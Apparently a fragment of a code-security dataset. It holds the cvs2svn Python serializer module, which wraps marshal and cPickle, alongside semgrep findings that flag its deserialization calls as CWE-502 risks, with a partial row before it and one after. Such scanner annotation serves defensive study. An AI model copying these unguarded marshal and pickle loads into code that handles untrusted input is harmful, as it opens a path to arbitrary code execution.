160,
172
] | [
160,
172
] | [
35,
27
] | [
60,
52
] | [
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.",
"Avoid using `pickle`, which is known to lead to... | [
5,
5
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | seq2seq_transformer_reader.py | /denoising_event_lm/data/dataset_readers/seq2seq/seq2seq_transformer_reader.py | jjasonn0717/TemporalBART | MIT | |
2024-11-18T19:38:12.595961+00:00 | 1,682,433,340,000 | 295b5a8780a162029c98e77d2397e0b5d36f3c09 | 3 | {
"blob_id": "295b5a8780a162029c98e77d2397e0b5d36f3c09",
"branch_name": "refs/heads/master",
"committer_date": 1682433340000,
"content_id": "126fecd471a1dde420a938e564e59203e97766c0",
"detected_licenses": [
"BSD-2-Clause"
],
"directory_id": "afdba742744666c81681f11645aba24f2bf52877",
"extension": "py",
"filename": "serializer.py",
"fork_events_count": 41,
"gha_created_at": 1300876335000,
"gha_event_created_at": 1674422213000,
"gha_language": "Python",
"gha_license_id": "NOASSERTION",
"github_id": 1515765,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4156,
"license": "BSD-2-Clause",
"license_type": "permissive",
"path": "/cvs2svn_lib/serializer.py",
"provenance": "stack-edu-0054.json.gz:571115",
"repo_name": "mhagger/cvs2svn",
"revision_date": 1682433340000,
"revision_id": "8cd432386e6c412a5b6ed506679185e0766671ff",
"snapshot_id": "f25193e49a608074353064b00a8810d659bcac7c",
"src_encoding": "UTF-8",
"star_events_count": 67,
"url": "https://raw.githubusercontent.com/mhagger/cvs2svn/8cd432386e6c412a5b6ed506679185e0766671ff/cvs2svn_lib/serializer.py",
"visit_date": "2023-04-30T07:33:43.149114"
} | 2.96875 | stackv2 | # (Be in -*- python -*- mode.)
#
# ====================================================================
# Copyright (c) 2000-2008 CollabNet. All rights reserved.
#
# This software is licensed as described in the file COPYING, which
# you should have received as part of this distribution.
#
# This software consists of voluntary contributions made by many
# individuals. For exact contribution history, see the revision
# history and logs.
# ====================================================================
"""Picklers and unpicklers that are primed with known objects."""
import cStringIO
import marshal
import cPickle
import zlib
class Serializer:
"""An object able to serialize/deserialize some class of objects."""
def dumpf(self, f, object):
"""Serialize OBJECT to file-like object F."""
raise NotImplementedError()
def dumps(self, object):
"""Return a string containing OBJECT in serialized form."""
raise NotImplementedError()
def loadf(self, f):
"""Return the next object deserialized from file-like object F."""
raise NotImplementedError()
def loads(self, s):
"""Return the object deserialized from string S."""
raise NotImplementedError()
class MarshalSerializer(Serializer):
"""This class uses the marshal module to serialize/deserialize.
This means that it shares the limitations of the marshal module,
namely only being able to serialize a few simple python data types
without reference loops."""
def dumpf(self, f, object):
marshal.dump(object, f)
def dumps(self, object):
return marshal.dumps(object)
def loadf(self, f):
return marshal.load(f)
def loads(self, s):
return marshal.loads(s)
class PrimedPickleSerializer(Serializer):
"""This class acts as a pickler/unpickler with a pre-initialized memo.
The picklers and unpicklers are 'pre-trained' to recognize the
objects that are in the primer. If objects are recognized
from PRIMER, then only their persistent IDs need to be pickled
instead of the whole object. (Note that the memos needed for
pickling and unpickling are different.)
A new pickler/unpickler is created for each use, each time with the
memo initialized appropriately for pickling or unpickling."""
def __init__(self, primer):
"""Prepare to make picklers/unpicklers with the specified primer.
The Pickler and Unpickler are 'primed' by pre-pickling PRIMER,
which can be an arbitrary object (e.g., a list of objects that are
expected to occur frequently in the objects to be serialized)."""
f = cStringIO.StringIO()
pickler = cPickle.Pickler(f, -1)
pickler.dump(primer)
self.pickler_memo = pickler.memo
unpickler = cPickle.Unpickler(cStringIO.StringIO(f.getvalue()))
unpickler.load()
self.unpickler_memo = unpickler.memo
def dumpf(self, f, object):
"""Serialize OBJECT to file-like object F."""
pickler = cPickle.Pickler(f, -1)
pickler.memo = self.pickler_memo.copy()
pickler.dump(object)
def dumps(self, object):
"""Return a string containing OBJECT in serialized form."""
f = cStringIO.StringIO()
self.dumpf(f, object)
return f.getvalue()
def loadf(self, f):
"""Return the next object deserialized from file-like object F."""
unpickler = cPickle.Unpickler(f)
unpickler.memo = self.unpickler_memo.copy()
return unpickler.load()
def loads(self, s):
"""Return the object deserialized from string S."""
return self.loadf(cStringIO.StringIO(s))
class CompressingSerializer(Serializer):
"""This class wraps other Serializers to compress their serialized data."""
def __init__(self, wrapee):
"""Constructor. WRAPEE is the Serializer whose bitstream ought to be
compressed."""
self.wrapee = wrapee
def dumpf(self, f, object):
marshal.dump(zlib.compress(self.wrapee.dumps(object), 9), f)
def dumps(self, object):
return marshal.dumps(zlib.compress(self.wrapee.dumps(object), 9))
def loadf(self, f):
return self.wrapee.loads(zlib.decompress(marshal.load(f)))
def loads(self, s):
return self.wrapee.loads(zlib.decompress(marshal.loads(s)))
| 143 | 28.06 | 77 | 14 | 981 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.marshal-usage_877a63178604909f_80040938", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.marshal-usage", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "The marshal module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. See more details: https://docs.python.org/3/library/marshal.html?highlight=security", "remediation": "", "location": {"file_path": "unknown", "line_start": 55, "line_end": 55, "column_start": 5, "column_end": 28, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/marshal.html?highlight=security", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.marshal-usage", "path": "/tmp/tmpb8jm_z1l/877a63178604909f.py", "start": {"line": 55, "col": 5, "offset": 1517}, "end": {"line": 55, "col": 28, "offset": 1540}, "extra": {"message": "The marshal module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. See more details: https://docs.python.org/3/library/marshal.html?highlight=security", "metadata": {"cwe": ["CWE-502: Deserialization of Untrusted Data"], "owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "references": ["https://docs.python.org/3/library/marshal.html?highlight=security"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.marshal-usage_877a63178604909f_34e0866f", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.marshal-usage", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "The marshal module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. See more details: https://docs.python.org/3/library/marshal.html?highlight=security", "remediation": "", "location": {"file_path": "unknown", "line_start": 58, "line_end": 58, "column_start": 12, "column_end": 33, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/marshal.html?highlight=security", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.marshal-usage", "path": "/tmp/tmpb8jm_z1l/877a63178604909f.py", "start": {"line": 58, "col": 12, "offset": 1580}, "end": {"line": 58, "col": 33, "offset": 1601}, "extra": {"message": "The marshal module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. See more details: https://docs.python.org/3/library/marshal.html?highlight=security", "metadata": {"cwe": ["CWE-502: Deserialization of Untrusted Data"], "owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "references": ["https://docs.python.org/3/library/marshal.html?highlight=security"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.marshal-usage_877a63178604909f_8126d847", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.marshal-usage", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "The marshal module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. See more details: https://docs.python.org/3/library/marshal.html?highlight=security", "remediation": "", "location": {"file_path": "unknown", "line_start": 61, "line_end": 61, "column_start": 12, "column_end": 27, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/marshal.html?highlight=security", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.marshal-usage", "path": "/tmp/tmpb8jm_z1l/877a63178604909f.py", "start": {"line": 61, "col": 12, "offset": 1636}, "end": {"line": 61, "col": 27, "offset": 1651}, "extra": {"message": "The marshal module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. See more details: https://docs.python.org/3/library/marshal.html?highlight=security", "metadata": {"cwe": ["CWE-502: Deserialization of Untrusted Data"], "owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "references": ["https://docs.python.org/3/library/marshal.html?highlight=security"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.marshal-usage_877a63178604909f_22b8b643", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.marshal-usage", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "The marshal module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. See more details: https://docs.python.org/3/library/marshal.html?highlight=security", "remediation": "", "location": {"file_path": "unknown", "line_start": 64, "line_end": 64, "column_start": 12, "column_end": 28, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/marshal.html?highlight=security", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.marshal-usage", "path": "/tmp/tmpb8jm_z1l/877a63178604909f.py", "start": {"line": 64, "col": 12, "offset": 1686}, "end": {"line": 64, "col": 28, "offset": 1702}, "extra": {"message": "The marshal module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. See more details: https://docs.python.org/3/library/marshal.html?highlight=security", "metadata": {"cwe": ["CWE-502: Deserialization of Untrusted Data"], "owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "references": ["https://docs.python.org/3/library/marshal.html?highlight=security"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-cPickle_877a63178604909f_da92ddfb", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-cPickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 87, "line_end": 87, "column_start": 15, "column_end": 37, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-cPickle", "path": "/tmp/tmpb8jm_z1l/877a63178604909f.py", "start": {"line": 87, "col": 15, "offset": 2607}, "end": {"line": 87, "col": 37, "offset": 2629}, "extra": {"message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-cPickle_877a63178604909f_9a1a4b96", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-cPickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 91, "line_end": 91, "column_start": 17, "column_end": 68, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-cPickle", "path": "/tmp/tmpb8jm_z1l/877a63178604909f.py", "start": {"line": 91, "col": 17, "offset": 2709}, "end": {"line": 91, "col": 68, "offset": 2760}, "extra": {"message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-cPickle_877a63178604909f_a885870d", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-cPickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 98, "line_end": 98, "column_start": 15, "column_end": 37, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-cPickle", "path": "/tmp/tmpb8jm_z1l/877a63178604909f.py", "start": {"line": 98, "col": 15, "offset": 2919}, "end": {"line": 98, "col": 37, "offset": 2941}, "extra": {"message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-cPickle_877a63178604909f_6f208ea0", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-cPickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 112, "line_end": 112, "column_start": 17, "column_end": 37, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-cPickle", "path": "/tmp/tmpb8jm_z1l/877a63178604909f.py", "start": {"line": 112, "col": 17, "offset": 3294}, "end": {"line": 112, "col": 37, "offset": 3314}, "extra": {"message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.marshal-usage_877a63178604909f_4fdd4cad", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.marshal-usage", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "The marshal module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. See more details: https://docs.python.org/3/library/marshal.html?highlight=security", "remediation": "", "location": {"file_path": "unknown", "line_start": 132, "line_end": 132, "column_start": 5, "column_end": 65, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/marshal.html?highlight=security", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.marshal-usage", "path": "/tmp/tmpb8jm_z1l/877a63178604909f.py", "start": {"line": 132, "col": 5, "offset": 3822}, "end": {"line": 132, "col": 65, "offset": 3882}, "extra": {"message": "The marshal module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. See more details: https://docs.python.org/3/library/marshal.html?highlight=security", "metadata": {"cwe": ["CWE-502: Deserialization of Untrusted Data"], "owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "references": ["https://docs.python.org/3/library/marshal.html?highlight=security"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.marshal-usage_877a63178604909f_b42d18e0", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.marshal-usage", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "The marshal module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. See more details: https://docs.python.org/3/library/marshal.html?highlight=security", "remediation": "", "location": {"file_path": "unknown", "line_start": 135, "line_end": 135, "column_start": 12, "column_end": 70, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/marshal.html?highlight=security", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.marshal-usage", "path": "/tmp/tmpb8jm_z1l/877a63178604909f.py", "start": {"line": 135, "col": 12, "offset": 3922}, "end": {"line": 135, "col": 70, "offset": 3980}, "extra": {"message": "The marshal module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. See more details: https://docs.python.org/3/library/marshal.html?highlight=security", "metadata": {"cwe": ["CWE-502: Deserialization of Untrusted Data"], "owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "references": ["https://docs.python.org/3/library/marshal.html?highlight=security"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.marshal-usage_877a63178604909f_87bac06d", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.marshal-usage", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "The marshal module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. See more details: https://docs.python.org/3/library/marshal.html?highlight=security", "remediation": "", "location": {"file_path": "unknown", "line_start": 138, "line_end": 138, "column_start": 46, "column_end": 61, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/marshal.html?highlight=security", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.marshal-usage", "path": "/tmp/tmpb8jm_z1l/877a63178604909f.py", "start": {"line": 138, "col": 46, "offset": 4049}, "end": {"line": 138, "col": 61, "offset": 4064}, "extra": {"message": "The marshal module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. See more details: https://docs.python.org/3/library/marshal.html?highlight=security", "metadata": {"cwe": ["CWE-502: Deserialization of Untrusted Data"], "owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "references": ["https://docs.python.org/3/library/marshal.html?highlight=security"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.marshal-usage_877a63178604909f_6912d6d4", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.marshal-usage", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "The marshal module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. See more details: https://docs.python.org/3/library/marshal.html?highlight=security", "remediation": "", "location": {"file_path": "unknown", "line_start": 141, "line_end": 141, "column_start": 46, "column_end": 62, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/marshal.html?highlight=security", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.marshal-usage", "path": "/tmp/tmpb8jm_z1l/877a63178604909f.py", "start": {"line": 141, "col": 46, "offset": 4135}, "end": {"line": 141, "col": 62, "offset": 4151}, "extra": {"message": "The marshal module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. See more details: https://docs.python.org/3/library/marshal.html?highlight=security", "metadata": {"cwe": ["CWE-502: Deserialization of Untrusted Data"], "owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "references": ["https://docs.python.org/3/library/marshal.html?highlight=security"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 12 | true | [
"CWE-502",
"CWE-502",
"CWE-502",
"CWE-502",
"CWE-502",
"CWE-502",
"CWE-502",
"CWE-502",
"CWE-502",
"CWE-502",
"CWE-502",
"CWE-502"
] | [
"rules.python.lang.security.audit.marshal-usage",
"rules.python.lang.security.audit.marshal-usage",
"rules.python.lang.security.audit.marshal-usage",
"rules.python.lang.security.audit.marshal-usage",
"rules.python.lang.security.deserialization.avoid-cPickle",
"rules.python.lang.security.deserialization.av... | [
"security",
"security",
"security",
"security",
"security",
"security",
"security",
"security",
"security",
"security",
"security",
"security"
] | [
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM"
] | [
55,
58,
61,
64,
87,
91,
98,
112,
132,
135,
138,
141
] | [
55,
58,
61,
64,
87,
91,
98,
112,
132,
135,
138,
141
] | [
5,
12,
12,
12,
15,
17,
15,
17,
5,
12,
46,
46
] | [
28,
33,
27,
28,
37,
68,
37,
37,
65,
70,
61,
62
] | [
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserial... | [
"The marshal module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. See more details: https://docs.python.org/3/library/marshal.html?highlight=security",
"The marshal module is not intended to be secure agai... | [
5,
5,
5,
5,
5,
5,
5,
5,
5,
5,
5,
5
] | [
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM"
] | serializer.py | /cvs2svn_lib/serializer.py | mhagger/cvs2svn | BSD-2-Clause | |
2024-11-18T19:38:13.011887+00:00 | 1,414,259,823,000 | bf4d3221c1ffb977fd26fea8d07af831eacef141 | 2 | {
"blob_id": "bf4d3221c1ffb977fd26fea8d07af831eacef141",
"branch_name": "refs/heads/master",
"committer_date": 1414259823000,
"content_id": "1c6afa97678e8bac29887e34ba398b8e0b67a673",
"detected_licenses": [
"BSD-2-Clause"
],
"directory_id": "ebda67ed1d202e51ff742ea03652ed612cc0c380",
"extension": "py",
"filename": "combine.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1083,
"license": "BSD-2-Clause",
"license_type": "permissive",
"path": "/baxter_description/urdf/combine.py",
"provenance": "stack-edu-0054.json.gz:571121",
"repo_name": "CURG-archive/baxter_common",
"revision_date": 1414259823000,
"revision_id": "6bca34fb53b81af2b2fd6e73790c34cf900b581f",
"snapshot_id": "7150d86c7944b34714a85d4900016161801092db",
"src_encoding": "UTF-8",
"star_events_count": 0,
